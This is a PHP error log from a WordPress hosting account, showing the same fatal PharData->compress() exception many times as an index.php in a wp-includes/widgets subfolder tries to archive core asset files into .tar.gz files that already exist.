[05-Nov-2025 20:35:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:37:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:37:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:39:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/duotone.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:39:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:39:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/spacing.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:39:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/aria-label.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:39:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/typography.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:39:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dimensions.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:40:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/background.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:40:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:40:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:40:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:41:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:41:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:42:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:45:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:45:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:45:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:45:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:45:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:46:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:46:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:46:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:46:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:46:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:46:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/code.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/text.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/default.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/archive.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:52:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:55:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/providers.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:56:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/mediaelementplayer.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:59:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/frownie.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 20:59:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:00:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/mrgreen.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:00:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:00:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:00:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:01:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/icon_rolleyes.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:03:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:03:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:03:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
